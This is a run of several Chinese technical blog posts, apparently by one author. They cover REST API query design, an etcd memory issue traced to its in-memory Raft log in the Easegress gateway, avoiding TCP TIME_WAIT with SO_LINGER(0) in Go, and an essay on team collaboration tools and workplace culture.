      一般来说,对于查询类的API,主要就是要完成四种操作:排序,过滤,搜索,分页。下面是一些相关的规范。参考于两个我觉得写的最好的Restful API的规范文档,Microsoft REST API GuidelinesPaypal API Design Guidelines

      • 排序。对于结果集的排序,使用 sort 关键字,以及 {field_name}|{asc|desc},{field_name}|{asc|desc} 的相关语法。比如,某API需要返回公司的列表,并按照某些字段排序,如:GET /admin/companies?sort=rank|asc 或是 GET /admin/companies?sort=rank|asc,zip_code|desc

      • 过滤。对于结果集的过滤,使用 filter 关键字,以及 {field_name} op{value} 的语法。比如: GET /companies?category=banking&location=china 。但是,有些时候,我们需要更为灵活的表达式,我们就需要在URL上构造我们的表达式。这里需要定义六个比较操作:=<><=>=,以及三个逻辑操作:andornot。(表达式中的一些特殊字符需要做一定的转义,比如:>= 转成 ge)于是,我们就会有如下的查询表达式:GET /products?$filter=name eq 'Milk' and price lt 2.55 查找所有的价柗小于2.55的牛奶。

      • 搜索。对于相关的搜索,使用 search 关键字,以及关键词。如:GET /books/search?description=algorithm 或是直接就是全文搜索 GET /books/search?key=algorithm

      • 分页。对于结果集进行分页处理,分页必需是一个默认行为,这样不会产生大量的返回数据。


        • 使用pageper_page代表页码和每页数据量,比如:GET /books?page=3&per_page=20
        • 可选。上面提到的page方式为使用相对位置来获取数据,可能会存在两个问题:性能(大数据量)与数据偏差(高频更新)。此时可以使用绝对位置来获取数据:事先记录下当前已获取数据里最后一条数据的ID时间等信息,以此获取 “该ID之前的数据” 或 “该时刻之前的数据”。示例:GET /news?max_id=23454345&per_page=20 或 GET /news?published_before=2011-01-01T00:00:00Z&per_page=20

      注意:这里需要注意一下,在理论上来说GET是可以带 body 的,但是很多程序的类库或是中间件并不支持 GET 带 body,导致你只能用 POST 来传递参数。这里的原则是:

      1. 对于简单的查询,很多参数都设计在 restful API 的路径上了,而 filter/sort/pagination 也不会带来很多的复杂,所以应该使用 GET 

      2. 对于复杂的查询来说,可能会有很复杂的查询参数,比如:ElasticSearch 上的 index/_search里的 DSL,你也应该尽可能的使用 GET,而不是POST 除非客观条件上不支持GET。ElasticSearch 的官方文档里也是这么说的。

      The authors of Elasticsearch prefer using GET for a search request because they feel that it describes the action—​retrieving information—​better than the POST verb. (我们推荐使用 GET而不是 POST,因为语义更清楚)However, because GET with a request body is not universally supported, the search API also accepts POST requests (除非你的类库或是服务器不支持 GET带参数 ,你再用POST,我们两个都支持)

      陈皓注:但是在 ElasticSearch 7.11 后,GET 也不支持 body 了。这是 ElasticSearch 的设计和实现不对应了。

      另外,对于一些更为复杂的操作,建议通过分别调用多个API的方式来完成,虽然这样会增加网络请求的次数,但是这样的可以让后端程序和数据耦合度更小,更容易成为微服务的架构。

      最后,如果你想在Rest中使用像GraphQL那样的查询语言,你可以考虑一下类似 OData 的解决方案。OData 是 Open Data Protocol 的缩写,最初由 Microsoft 于 2007 年开发。它是一种开放协议,使您能够以简单和标准的方式创建和使用可查询和可互操作的 RESTful API。

      几个主要问题的回应

      下面是对几个问题的直接回应,如果大家需要我回应更多的问题,可以在后面留言,我会把问题和我的回应添加到下面。

      1)为什么API 要Restful,并符合规范?

      Restful API算是一个HTTP的规范和标准了,你要说是最佳实践也好,总之,它是一个全世界对HTTP API的一个共识。在这个共识上,你可以无成本地享受很多的技术红利,比如:CDN,API网关,服务治理,监控……等等。这些都是可以让你大幅度降低研发成本,避免踩坑的原因。

      2)为什么“过早优化”不适用于API设计?

      因为API是一种契约,一旦被使用上,就很难再变更了,就算你发行新的版本的API,你还要驱动各种调用方升级他们的调用方式。所以,接口设计就像数据库模式设计一下,一旦设计好了,未来再变更就比较难了。所以,还是要好好设计。正如前面我给的几个文档——Microsoft REST API GuidelinesPaypal API Design Guidelines 或是 Google API Design Guide 都是让你好好设计API的不错的 Guidelines.

      3)POST 更安全吗?

      不会。

      很多同学以为 GET 的请求数据在URL中,而 POST 的则不是,所以以为 POST 更安全。不是这样的,整个请求的HTTP URL PATH会全部封装在HTTP的协议头中。只要是HTTPS,就是安全的。当然,有些网关如nginx会把URL打到日志中,或是会放在浏览器的历史记录中,所以有人会说 GET 请求不安全,但是,POST 也没有好到哪里去,在 CSRF 这个最常见的安全问题上,则完全就是针对 POST 的。  安全是一件很复杂的事,无论你用哪方法或动词都会不能代表你会更安全。

      另外,

      • 如果你要 防止你的 GET 上有敏感信息,应该加个密,这个跟 POST是一样的。
      • 如果你要防止 GET 会被中间人修改,你应该做一个URL签名。(通常来说, 我们都在 GET 上做签名,POST 就忘做了)
      • 如果你要防止有人发一些恶意链接来 hack 你的用户(传说中的 GET 不如 POST 安全的一个问题),你应该用 HMAC 之类的认证技术做好认证(参看 HTTP API 认证授权术)。

      总之,你要明白,GETPOST 的安全问题都一样的,不要有谁比谁更安全,然后你就可以掉以轻心的这样的想法,安全都是要很严肃对待的。

      4)全用 POST 可以节省时间减少沟通吗?

      不但不会,反而更糟糕。

      说这种话的人,我感觉是不会思考问题。

      • 其一,为API赋于不同的动词,这个几乎不需要时间。把CRUD写在不同的函数下也是一种很好的编程风格。另外现在几乎所有的开发框架都支持很快速的CRUD的开发,比如Spring Boot,写数据库的CRUD基本上就不需要写SQL语言相关的查询代码,非常之方便。
      • 其二,使用规范的方式,可以节约新加入团队人员的学习成本,而且可以大大减少跨团队的沟能成本。规范和标准其实就是在节约团队时间提升整体效率的,这个我们整个人类进行协作的基础。所以,这个世界上有很多的标准,你只要照着这个标准来,你的所生产的零件就可以适配到其它厂商的产品上。而不需要相互沟通。
      • 其三,全用POST接口一把梭,不规范不标准,使用你的这个山寨API的人就得来不断的问你,反而增加了沟通。另外,也许你开发业务功能很快了,但是你在做控制逻辑的时候,你就要返工了,从长期上来讲,你的欠下了技术债,这个债反而导致了更大的成本。
      5)早点回家的正确姿势

      不要以为你回家早就没事了,如果你的代码有这样那样的问题,别人看懂,或是出误用了你的代码出了问题,那么,你早回家有什么意义呢?你一样要被打扰,甚至被叫到公司来处理问题。所以,你应该做的是为了“长期的早回家”,而不是“短期的早回家”,要像长期的早回家,通常来说是这样的:

      • 把代码组织设计好,有更好的扩展性。这样在面对新需求的时候,你就可以做到少改代码,甚至不改代码。这样你才可能早回家。不然,每次需求一来,你得重新写,你怎么可能早回家?
      • 你的代码质量是不错的,有不错的文档和注释。所以,别人不会老有问题来找你,或是你下班后,叫你来处理问题。甚至任何人都可以很容易地接手你的代码,这样你才可能真正不被打扰
      6)工作而已,优雅不能当饭吃

      回应两点:

      其一,遵循个规范而已,把“正常”叫“优雅”,可见标准有多低。这么低的标准也只能“为了吃饭而生存了”。

      其二,作为一个“职业程序员”,要学会热爱和尊重自己的职业,热爱自己职业最重要的就是不要让外行人看扁这个职业,自己都不尊重这个职业,你让别人怎么尊重?尊重自己的职业,不仅仅只是能够获得让人羡慕的报酬,而更是要让自己的这个职业的更有含金量

      希望大家都能尊重自己从事的这个职业,成为真正的职业化的程序员,而不是一个码农!

      你的工作给你权力,而只有你的行为才会给你尊重

      今天跟大家分享一个etcd的内存大量占用的问题,这是前段时间在我们开源软件Easegress中遇到的问题,问题是比较简单的,但是我还想把前因后果说一下,包括,为什么要用etcd,使用etcd的用户场景,包括etcd的一些导致内存占用比较大的设计,以及最后一些建议。希望这篇文章不仅仅只是让你看到了一个简单的内存问题,还能让你有更多的收获。当然,也欢迎您关注我们的开源软件,给我们一些鼓励。

      为什么要用ETCD

      先说一下为什么要用etcd。先从一个我们自己做的一个API网关 – Easegress(源码)说起。

      Easegress 是我们开发并开源的一个API应用网关产品,这个API应用网关不仅仅只是像nginx那样用来做一个反向代理,这个网关可以做的事很多,比如:API编排、服务发现、弹力设计(熔断、限流、重试等)、认证鉴权(JWT,OAuth2,HMAC等)、同样支持各种Cloud Native的架构如:微服务架构,Service Mesh,Serverless/FaaS的集成,并可以用于扛高并发、灰度发布、全链路压力测试、物联网……等更为高级的企业级的解决方案。所以,为了达到这些目标,在2017年的时候,我们觉得在现有的网关如Nginx上是无法演进出来这样的软件的,必需重新写一个(后来其他人也应该跟我们的想法一样,所以,Lyft写了一个Envoy。只不过,Envoy是用C++写的,而我用了技术门槛更低的Go语言)

      另外,Easegress最核心的设计主要有三个:

      • 一是无第三方依赖的自己选主组集群的能力
      • 二是像Linux管道命令行那样pipeline式的插件流式处理(支持Go/WebAssembly)
      • 三是内置一个Data Store用于集群控制和数据共享。

      对于任何一个分布式系统,都需要有一个强一制性的基于Paxos/Raft的可以自动选主机制,并且需要在整个集群间同步一些关键的控制/配置和相关的共享数据,以保证整个集群的行为是统一一致的。如果没有这么一个东西的话,就没有办法玩分布式系统的。这就是为什么会有像Zookeeper/etcd这样的组件出现并流行的原因。注意,Zookeeper他们主要不是给你存数据的,而是给你组集群的。

      Zookeeper是一个很流行的开源软件,也被用于各大公司的生产线,包括一些开源软件,比如:Kafka。但是,这会让其它软件有一个依赖,并且在运维上带来很大的复杂度。所以,Kafka在最新的版本也通过内置了选主的算法,而抛弃了外挂zookeeper的设计。Etcd是Go语言社区这边的主力,也是kubernetes组建集群的关键组件。Easegress在一开始(5年前)使用了gossip协议同步状态(当时想的过于超前,想做广域网的集群),但是后发现这个协议太过于复杂,而且很难调试,而广域网的API Gateway也没遇到相应的场景。所以,在3年前的时候,为了稳定性的考量,我们把其换成了内嵌版本的etcd,这个设计一直沿用到今天。

      Easegress会把所有的配置信息都放到etcd里,还包括一些统计监控数据,以及一些用户的自定义数据(这样用户自己的plugin不但可以在一条pipeline内,还可以在整个集群内共享数据),这对于用户进行扩展来说是非常方便的。软件代码的扩展性一直是我们追求的首要目标,尤其是开源软件更要想方设法降低技术门槛让技术易扩展,这就是为什么Google的很多开源软件都会选使用Go语言的原因,也是为什么Go正在取代C/C++的做PaaS基础组件的原因。

      背景问题

      好了,在介绍完为什么要用etcd以后,我开始分享一个实际的问题了。我们有个用户在使用 Easegress 的时候,在Easegress内配置了上千条pipeline,导致 Easegress的内存飙升的非常厉害- 10+GB 以上,而且长时间还下不来。

      用户报告的问题是——

      在Easegress 1.4.1 上创建一个HTTP对象,1000个Pipeline,在Easegres初始化启动完成时的内存占用大概为400M,运行80分钟后2GB,运行200分钟后达到了4GB,这期间什么也没有干,对Easegress没有进行过一次请求。

      一般来说,就算是API再多也不应该配置这么多的处理管道pipeline的,通常我们会使用HTTP API的前缀把一组属于一个类别的API配置在一个管道内是比较合理的,就像nginx下的location的配置,一般来说不会太多的。但是,在用户的这个场景下配置了上千个pipeline,我们也是头一次见,应该是用户想做更细粒度的控制。

      经过调查后,我们发现内存使用基本全部来自etcd,我们实在没有想到,因为我们往etcd里放的数据也没有多少个key,感觉不会超过10M,但不知道为什么会占用了10GB的内存。这种时候,一般会怀疑etcd有内存泄漏,上etcd上的github上搜了一下,发现etcd在3.2和3.3的版本上都有内存泄露的问题,但都修改了,而 Easegress 使用的是3.5的最新版本,另外,一般来说内存泄漏的问题不会是这么大的,我们开始怀疑是我们哪里误用了etcd。要知道是否误用了etcd,那么只有一条路了,沉下心来,把etcd的设计好好地看一遍。

      大概花了两天左右的时间看了一下etcd的设计,我发现了etcd有下面这些消耗内存的设计,老实说,还是非常昂贵的,这里分享出来,避免后面的同学再次掉坑。

      首当其冲是——RaftLog。etcd用Raft Log,主要是用于帮助follower同步数据,这个log的底层实现不是文件,而是内存。所以,而且还至少要保留 5000 条最新的请求。如果key的size很大,这 5000条就会产生大量的内存开销。比如,不断更新一个 1M的key,哪怕是同一个key,这 5000 条Log就是 5000MB = 5GB 的内存开销。这个问题在etcd的issue列表中也有人提到过  issue #12548 ,不过,这个问题不了了之了。这个5000还是一个hardcode,无法改。(参看 DefaultSnapshotCatchUpEntries 相关源码

      // DefaultSnapshotCatchUpEntries is the number of entries for a slow follower
      // to catch-up after compacting the raft storage entries.
      // We expect the follower has a millisecond level latency with the leader.
      // The max throughput is around 10K. Keep a 5K entries is enough for helping
      // follower to catch up.
      DefaultSnapshotCatchUpEntries uint64 = 5000

      另外,我们还发现,这个设计在历史上etcd的官方团队把这个默认值从10000降到了5000,我们估计etcd官方团队也意识到10000有点太耗内存了,所以,降了一半,但是又怕follwer同步不上,所以,保留了 5000条……(在这里,我个人感觉还有更好的方法,至少不用全放在内存里吧……)

      另外还有下面几项也会导致etcd的内存会增加

      1. 索引。etcd的每一对 key-value 都会在内存中有一个 B-tree 索引。这个索引的开销跟key的长度有关,etcd还会保存版本。所以B-tree的内存跟key的长度以及历史版本号数量也有关系。
      2. mmap。还有,etcd 使用 mmap 这样上古的unix技术做文件映射,会把他的blotdb的内存map到虚拟内存中,所以,db-size越大,内存越大。
      3. Watcher。watch也会占用很大的内存,如果watch很多,连接数多,都会堆积内存。

      (很明显,etcd这么做就是为了一个高性能的考虑)

      Easegress中的问题更多的应该是Raft Log 的问题。后面三种问题我们觉得不会是用户这个问题的原因,对于索引和mmap,使用 etcd 的 compact 和 defreg (压缩和碎片整理应该可以降低内存,但用户那边不应该是这个问题的核心原因)。

      针对用户的问题,大约有1000多条pipeline,因为Easegress会对每一条pipeline进行数据统计(如:M1, M5, M15, P99, P90, P50等这样的统计数据),统计信息可能会有1KB-2KB左右,但Easegress会把这1000条pipeline的统计数据合并起来写到一个key中,这1000多条的统计数据合并后会导致出现一个平均尺寸为2MB的key,而5000个in-memory的RaftLog导致etcd要消耗了10GB的内存。之前没有这么多的pipeline的场景,所以,这个内存问题没有暴露出来。

      于是,我们最终的解决方案也很简单,我们修改我们的策略,不再写这么大的Value的数据了,虽然以前只写在一个key上,但是Key的值太大,现在把这个大Key值拆分成多个小的key来写,这样,实际保存的数据没有发生变化,但是RaftLog的每条数据量就小了,所以,以前是5000条 2M(10GB),现在是5000条 1K(500MB),就这样解决了这个问题。相关的PR在这里 PR#542

      总结

      要用好 etcd,有如下的实践

      • 避免大尺寸的key和value,一方面会通过一个内存级的 Raft Log 占大量内存,另一方面,B-tree的多版本索引也会因为这样耗内存。
      • 避免DB的尺寸太大,并通过 compact和defreg来压缩和碎片整理降低内存。
      • 避免大量的Watch Client 和 Watch数。这个开销也是比较大的。
      • 最后还有一个,就是尽可能使用新的版本,无论是go语言还是etcd,这样会少很多内存问题。比如:golang的这个跟LInux内核心相关的内存问题 —— golang 1.12的版sget的是 MADV_FREE 的内存回收机制,而在1.16的时候,改成了 MADV_DONTNEED ,这两者的差别是,FREE表示,虽然进程标记内存不要了,但是操作系统会保留之,直到需要更多的内存,而 DONTNEED 则是立马回收,你可以看到,在常驻内存RSS 上,前者虽然在golang的进程上回收了内存,但是RSS值不变,而后者会看到RSS直立马变化。Linux下对 MADV_FREE 的实现在某些情况下有一定的问题,所以,在go 1.16的时候,默认值改成了 MADV_DONTNEED 。而 etcd 3.4 是用 来1.12 编译的。

      最后,欢迎大家关注我们的开源软件! https://github.com/megaease/ 

      今天来讲一讲TCP 的 TIME_WAIT 的问题。这个问题尽人皆知,不过,这次遇到的是不太一样的场景,前两天也解决了,正好写篇文章,顺便把 TIME_WAIT 的那些事都说一说。对了,这个场景,跟我开源的探活小工具 EaseProbe 有关,我先说说这个场景里的问题,然后,顺着这个场景跟大家好好说一下这个事。

      目录

      问题背景

      先说一下背景,EaseProbe 是一个轻量独立的用来探活服务健康状况的小工具,支持http/tcp/shell/ssh/tls/host以及各种中间件的探活,然后,直接发送通知到主流的IM上,如:Slack/Telegram/Discrod/Email/Team,包括国内的企业微信/钉钉/飞书, 非常好用,用过的人都说好 😏。

      这个探活工具在每次探活的时候,必须要从头开始建立整个网络链接,也就是说,需要从头开始进行DNS查询,建立TCP链接,然后进行通信,再关闭链接。这里,我们不会设置 TCP 的 KeepAlive 重用链接,因为探活工具除了要探活所远端的服务,还要探活整个网络的情况,所以,每次探活都需要从新来过,这样才能捕捉得到整个链路的情况。

      但是,这样不断的新建链接和关闭链接,根据TCP的状态机,我们知道这会导致在探测端这边出现的 TIME_WAIT 的 TCP 链接,根据 TCP 协议的定义,这个 TIME_WAIT 需要等待 2倍的MSL 时间,TCP 链接都会被系统回收,在回收之前,这个链接会占用系统的资源,主要是两个资源,一个是文件描述符,这个还好,可以调整,另一个则是端口号,这个是没法调整的,因为作为发起请求的client来说,在对同一个IP上理论上你只有64K的端口号号可用(实际上系统默认只有近30K,从32,768 到 60,999 一共 60999+1-32768=28,232,你可以通过 sysctl net.ipv4.ip_local_port_range 查看  ),如果 TIME_WAIT 过多,会导致TCP无法建立链接,还会因为资源消耗太多导致整个程序甚至整个系统异常。

      试想,如果我们以 10秒为周期探测10K的结点,如果TIME_WAIT的超时时间是120秒,那么在第60秒后,等着超时的 TIME_WAIT 我们就有可能把某个IP的端口基本用完了,就算还行,系统也有些问题。(注意:我们不仅仅只是TCP,还有HTTP协议,所以,大家不要觉得TCP的四元组只要目标地址不一样就好了,一方面,我们探的是域名,需要访问DNS服务,所以,DNS服务一般是一台服务器,还有,因为HTTPS一般是探API,而且会有网关代理API,所以链接会到同一个网关上。另外就算还可以建出站连接,但是本地程序会因为端口耗尽无法bind了。所以,现实情况并不会像理论情况那样只要四元组不冲突,端口就不会耗尽)

      为什么要 TIME_WAIT

      那么,为什么TCP在 TIME_WAIT 上要等待一个2MSL的时间?

      以前写过篇比较宏观的《TCP的那些事》(上篇下篇),这个访问在“上篇”里讲过,这里再说一次,TCP 断链接的时候,会有下面这个来来回回的过程。

      我们来看主动断链接的最后一个状态 TIME_WAIT 后就不需要等待对端回 ack了,而是进入了超时状态。这主要是因为,在网络上,如果要知道我们发出的数据被对方收到了,那我们就需要对方发来一个确认的Ack信息,那问题来了,对方怎么知道自己发出去的ack,被收到了?难道还要再ack一下,这样ack来ack回的,那什么谁也不要玩了……是的,这就是比较著名的【两将军问题】——两个将军需要在一个不稳定的信道上达成对敌攻击时间的协商,A向B派出信鸽,我们明早8点进攻,A怎么知道B收到了信?那需要B向A派出信鸽,ack说我收到了,明早8点开干。但是,B怎么知道A会收到自己的确认信?是不是还要A再确认一下?这样无穷无尽的确认导致这个问题是没有完美解的(我们在《分布式事务》一文中说过这个问题,这里不再重述)

      所以,我们只能等一个我们认为最大小时来解决两件个问题:

      1) 为了 防止来自一个连接的延迟段被依赖于相同四元组(源地址、源端口、目标地址、目标端口)的稍后连接接受(被接受后,就会被马上断掉,TCP状态机紊乱)。虽然,可以通过指定 TCP 的 sequence number 一定范围内才能被接受。但这也只是让问题发生的概率低了一些,对于一个吞吐量大的的应用来说,依然能够出现问题,尤其是在具有大接收窗口的快速连接上。RFC 1337详细解释了当 TIME-WAIT状态不足时会发生什么。TIME-WAIT以下是如果不缩短状态可以避免的示例:

      由于缩短的 TIME-WAIT 状态,后续的 TCP 段已在不相关的连接中被接受(来源

       

      2)另一个目的是确保远端已经关闭了连接。当最后一个ACK​​ 丢失时,对端保持该LAST-ACK状态。在没有TIME-WAIT状态的情况下,可以重新打开连接,而远程端仍然认为先前的连接有效。当它收到一个SYN段(并且序列号匹配)时,它将以RST应答,因为它不期望这样的段。新连接将因错误而中止:

       

      如果远端因为最后一个 ACK​​ 丢失而停留在 LAST-ACK 状态,则打开具有相同四元组的新连接将不起作用 (来源

      TIME_WAIT 的这个超时时间的值如下所示:

      • 在 macOS 上是15秒, sysctl net.inet.tcp | grep net.inet.tcp.msl
      • 在 Linux 上是 60秒 cat /proc/sys/net/ipv4/tcp_fin_timeout

      解决方案

      要解决这个问题,网上一般会有下面这些解法

      • 把这个超时间调小一些,这样就可以把TCP 的端口号回收的快一些。但是也不能太小,如果流量很大的话,TIME_WAIT一样会被耗尽。
      • 设置上 tcp_tw_reuse 。RFC 1323提出了一组 TCP 扩展来提高高带宽路径的性能。除其他外,它定义了一个新的 TCP 选项,带有两个四字节时间戳字段。第一个是发送选项的 TCP 时间戳的当前值,而第二个是从远程主机接收到的最新时间戳。如果新时间戳严格大于为前一个连接记录的最新时间戳。Linux 将重用该状态下的现有 TIME_WAIT 连接用于出站的链接。也就是说,这个参数对于入站连接是没有任何用图的。
      • 设置上 tcp_tw_recycle 。 这个参数同样依赖于时间戳选项,但会影响进站和出站链接。这个参数会影响NAT环境,也就是一个公司里的所有员工用一个IP地址访问外网的情况。在这种情况下,时间戳条件将禁止在这个公网IP后面的所有设备在一分钟内连接,因为它们不共享相同的时间戳时钟。毫无疑问,禁用此选项要好得多,因为它会导致 难以检测诊断问题。(注:从 Linux 4.10 (commit 95a22caee396 ) 开始,Linux 将为每个连接随机化时间戳偏移量,从而使该选项完全失效,无论有无NAT。它已从 Linux 4.12中完全删除)

      对于服务器来说,上述的三个访问都不能解决服务器的 TIME_WAIT 过多的问题,真正解决问题的就是——不作死就不会死,也就是说,服务器不要主动断链接,而设置上KeepAlive后,让客户端主动断链接,这样服务端只会有CLOSE_WAIT

      但是对于用于建立出站连接的探活的 EaseProbe来说,设置上 tcp_tw_reuse 就可以重用 TIME_WAIT 了,但是这依然无法解决 TIME_WAIT 过多的问题。

      然后,过了几天后,我忽然想起来以前在《UNIX 网络编程》上有看到过一个Socket的参数,叫 <code>SO_LINGER,我的编程生涯中从来没有使用过这个设置,这个参数主要是为了延尽关闭来用的,也就是说你应用调用 close()函数时,如果还有数据没有发送完成,则需要等一个延时时间来让数据发完,但是,如果你把延时设置为 0  时,Socket就丢弃数据,并向对方发送一个 RST 来终止连接,因为走的是 RST 包,所以就不会有 TIME_WAIT 了。

      这个东西在服务器端永远不要设置,不然,你的客户端就总是看到 TCP 链接错误 “connnection reset by peer”,但是这个参数对于 EaseProbe 的客户来说,简直是太完美了,当EaseProbe 探测完后,直接 reset connection, 即不会有功能上的问题,也不会影响服务器,更不会有烦人的 TIME_WAIT 问题。

      Go 实际操作

      在 Golang的标准库代码里,net.TCPConn 有个方法 SetLinger()可以完成这个事,使用起来也比较简单:

      conn, _ := net.DialTimeout("tcp", t.Host, t.Timeout())
      
      if tcpCon, ok := conn.(*net.TCPConn); ok {
          tcpCon.SetLinger(0)
      }

      你需要把一个 net.Conn  转型成 net.TCPConn,然后就可以调用方法了。

      但是对于Golang 的标准库中的 HTTP 对象来说,就有点麻烦了,Golang的 http 库把底层的这边连接对象全都包装成私有变量了,你在外面根本获取不到。这篇《How to Set Go net/http Socket Options – setsockopt() example 》中给出了下面的方法:

      dialer := &net.Dialer{
          Control: func(network, address string, conn syscall.RawConn) error {
              var operr error
              if err := conn.Control(func(fd uintptr) {
                  operr = syscall.SetsockoptInt(int(fd), unix.SOL_SOCKET, unix.TCP_QUICKACK, 1)
              }); err != nil {
                  return err
              }
              return operr
          },
      }
      
      client := &http.Client{
          Transport: &http.Transport{
              DialContext: dialer.DialContext,
          },
      }

      上面这个方法非常的低层,需要直接使用setsocketopt这样的系统调用,我其实,还是想使用 TCPConn.SetLinger(0) 来完成这个事,即然都被封装好了,最好还是别破坏封闭性碰底层的东西。

      经过Golang http包的源码阅读和摸索,我使用了下面的方法:

      client := &http.Client{
          Timeout: h.Timeout(),
          Transport: &http.Transport{
            TLSClientConfig:   tls,
            DisableKeepAlives: true,
            DialContext: func(ctx context.Context, network, addr string) (net.Conn, error) {
              d := net.Dialer{Timeout: h.Timeout()}
              conn, err := d.DialContext(ctx, network, addr)
              if err != nil {
                return nil, err
              }
              tcpConn, ok := conn.(*net.TCPConn)
              if ok {
                tcpConn.SetLinger(0)
                return tcpConn, nil
              }
              return conn, nil
            },
          },
        }

      然后,我找来了全球 T0p 100W的域名,然后在AWS上开了一台服务器,用脚本生成了 TOP 10K 和 20K 的网站来以5s, 10s, 30s, 60s的间隔进行探活,搞到Cloudflare 的 1.1.1.1 DNS 时不时就把我拉黑,最后的测试结果也非常不错,根本 没有 TIME_WAIT 的链接,相关的测试方法、测试数据和测试报告可以参看:Benchmark Report

      总结

      下面是几点总结

      • TIME_WAIT 是一个TCP 协议完整性的手段,虽然会有一定的副作用,但是这个设计是非常关键的,最好不要妥协掉。
      • 永远不要使用  tcp_tw_recycle ,这个参数是个巨龙,破坏力极大。
      • 服务器端永远不要使用  SO_LINGER(0),而且使用 tcp_tw_reuse 对服务端意义不大,因为它只对出站流量有用。
      • 在服务端上最好不要主动断链接,设置好KeepAlive,重用链接,让客户端主动断链接。
      • 在客户端上可以使用 tcp_tw_reuse  和 SO_LINGER(0)

      最后强烈推荐阅读这篇文章 – Coping with the TCP TIME-WAIT state on busy Linux servers

      这两天跟 CaliRather 做了一个线上的 Podcast – Ep.5 一起聊聊团队协同。主要是从 IM 工具扩展开来聊了一下团队的协同和相应的工具,但是聊天不是深度思考,有一些东西我没有讲透讲好,所以,我需要把我更多更完整更结构化的想法形成文字。(注:聊天聊地比较详细,本文只是想表达我的主要想法)

      目录

      国内外的企业 IM 的本质差别

      国内企业级在线交流工具主要有:企业微信、钉钉、飞书,国外的则是:Slack、Discord这两大IM工具,你会发现,他们有很多不一样的东西,其中有两个最大的不同,一个是企业管理,一个是企业文化。

      企业管理

      Slack/Discrod 主要是通过建 Channel ,而国内的IM则主要是拉群。你可能会说,这不是一样的吗?其实是不一样的,很明显,Channel 的属性是相对持久的,而群的属性则是临时的,前者是可以是部门,可以是团队,可以是项目,可以是产品,可以是某种长期存在的职能(如:技术分享),而拉群则是相对来说临时起意的,有时候,同样的人群能被重复地拉出好几次,因为之前临时起意的事做完了,所以群就被人所遗忘了,后面再有事就再来。很明显,Channel 这种方式明显是有管理的属性的,而拉群则是没有管理的

      所以,在国内这种作坊式,野蛮粗放式的管理风格下,他们需要的就是想起一出是一出的 IM 工具,所以,拉群就是他们的工作习惯,因为没有科学的管理,所以没有章法,所以,他们不需要把工作内的信息结构化的工具。而国外则不然,国外的管理是精细化的,国外的公司还在重度使用 Email 的通讯方式,而 Email 是天生会给一个主题时行归类,而且 Email 天生不是碎片信息,所以,国外的 IM 需要跟 Email 竞争,因为像 Email 那样给邮件分类,把信息聚合在一个主题下的方式就能在 IM 上找到相关的影子。Channel 就是一个信息分类,相当于邮件分类,Slack 的 回复区和 Discord 的子区就像是把同一个主题信息时行聚合的功能。这明显是懂管理的人做的,而国内的拉群一看就是不懂管理的人干的,或者说是就是满足这些不懂管理的人的需求的。

      企业文化

      团队协作和团队工作最大的基石是信任,如果有了信任,没有工具都会很爽,如果没有信任,什么工具都没用。信任是一种企业文化,这种文化不仅包括同级间的,还包括上下级间的。但是,因为国内的管理跟不上,所以,就导致了各种不信任的文化,而需要在这里不信任的文化中进行协同工作,国内的 IM 软件就会开发出如下在国外的 IM 中完全没有的功能:

      • 监控员工。获取员工的工作时间以及工作位置。
      • 有详细的已读标注。这样会给对方要回复的压力。
      •  发出的信息不能修改,不能删除,非常有限地可撤回

      而国外的 IM 则是,发出的信息可以修改/删除,没有已读标准,也不会监控员工。这种时候,我总是会对工作在这种不信任文化中人感到可怜……如果大家需要靠逼迫的方式把对方拉来跟我一起协作,我们还工作个什么劲啊。

      小结

      所以,我们可以看到,畸形的企业管理和企业文化下,就会导致畸形的协同工具。最令人感到悲哀的是,有好多同学还觉得国内的钉钉非常之好,殊不知,你之所以感觉好用,是因为你所在的环境是如此的不堪。你看,人到了不同的环境就会有不同的认识,所以,找一个好一些的环境对一个人的成长有多重要

      给一些新入行的人的建议就是,一个环境对一个人的认知会有非常大的影响,找一个好的环境是非常重要,如果不知道什么 环境是好的,那就先从不使用钉钉为工作协同软件的公司开始吧……

      什么是好的协同工具

      我们从上面可以得到,协同的前提条件是你需要有一个基于信任的企业文化,还需要有有结构化思维的科学的管理思维。没有这两个东西,给你的团队再多的工具都不可能有真正好有协同的,大家就是装模作样罢了。

      假设我们的管理和文化都没有问题,那下面我们来谈谈协同工具的事。

      我个人觉得 IM 这种工具包括会议都不是一种好的协同工具,因为这些工具都无法把信息做到真正的结构化和准确化,用 IM 或是开会上的信息大多都是碎片化严重,而且没有经过深度思考或是准备的,基本都是即兴出来的东西,不靠谱的概率非常大。

      找人交流和开会不是有个话题就好的,还需要一个可以讨论的“议案”。在 Amazon 里开会,会前,组织方会把要讨论的方案打印出来给大家看,这个方案是深思过的,是验证过的,是有数据和证据或是引用支撑的,会议开始后,10 -15分钟是没有人说话的,大家都在看文档,然后就开始直接讨论或发表意见,支持还是不支持,还是有条件支持……会议效率就会很高。

      但是这个议案其实是可以由大家一起来完成的,所以,连打印或是开会都不需要。试想一下,使用像 Google Doc 这样的协同文档工具,把大家拉到同一个文档里直接创作,不香吗?我在前段时间,在公网上组织大家来帮我完成一个《非常时期的囤货手册》,这篇文章的形成有数百个网友的加持,而我就是在做一个主编的工作,这种工作是 IM 工具无法完成的事。与之类似的协同工具还有大家一起写代码的 Github,大家一起做设计的 Figma……这样创作类的协同工具非常多。另外,好多这些工具都能实时展示别人的创作过程,这个简直是太爽了,你可以通过观看他人创作过程,学习到很多他人的思路和想法,这个在没有协同工具的时代是很难想像的。

      好的协同工具是可以互相促进互相激励的,就像一个足球队一样,当你看到你的队友在勇敢地争抢,拼命地奔跑,你也会被感染到的。

      所以,好的协同就是能够跟一帮志同道合,有共同目标,有想法,有能力的人一起做个什么事所以,在我心中我最喜欢的协同工具从来都是创作类的,不是管理类的,更不是聊天类的。管理和聊天的协同软件会让你产生一种有产出的假象,但其实不同,这种工具无论做的有多好,都是支持性的工具,不是产出类的工具,不会提升生产力的。

      另外,在创作类的协同工具上如果有一些智能小帮手,如:Github 发布的 Copilot。那简直是让人爽翻天了,所以,真正能提升生产力的工具都是在内容上帮得到你的。

      结束语

      我其实并不喜欢今天所有的 IM 工具,因为我觉得信息不是结构化的,信息是有因果关系和上下文的,是结构化的,是多维度的,不是今天这种线性的方式,我们想像一下“脑图”或是知识图,或是 wikipedia 的网关的关联,我们可能就能想像得到一个更好的 IM 应该是什么 样的……

      协同工作的想像空间实在是太大了,我觉得所有的桌面端的软件都会被协作版的重写,虽然,这种协作软件需要有网络的加持,但是协作软件的魅力和诱惑力实在的太大了,让人无法不从……

